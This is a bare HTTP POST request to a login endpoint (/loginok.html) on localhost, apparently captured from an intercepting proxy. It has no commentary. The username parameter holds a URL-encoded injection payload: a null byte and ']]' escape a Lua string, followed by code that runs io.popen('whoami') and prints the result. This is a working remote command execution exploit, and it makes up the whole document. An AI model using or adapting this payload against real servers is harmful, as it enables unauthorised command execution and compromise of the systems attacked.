POST /loginok.html HTTP/1.1
Host: localhost
Content-Length: 65
Cache-Control: max-age=0
sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: fr-FR,fr;q=0.9
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/login.html?lang=french
Accept-Encoding: gzip, deflate, br
Cookie: client_lang=french
Connection: keep-alive

username=anonymous%00]]%0dlocal+h+%3d+io.popen("whoami")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=&username_val=anonymous&password_val=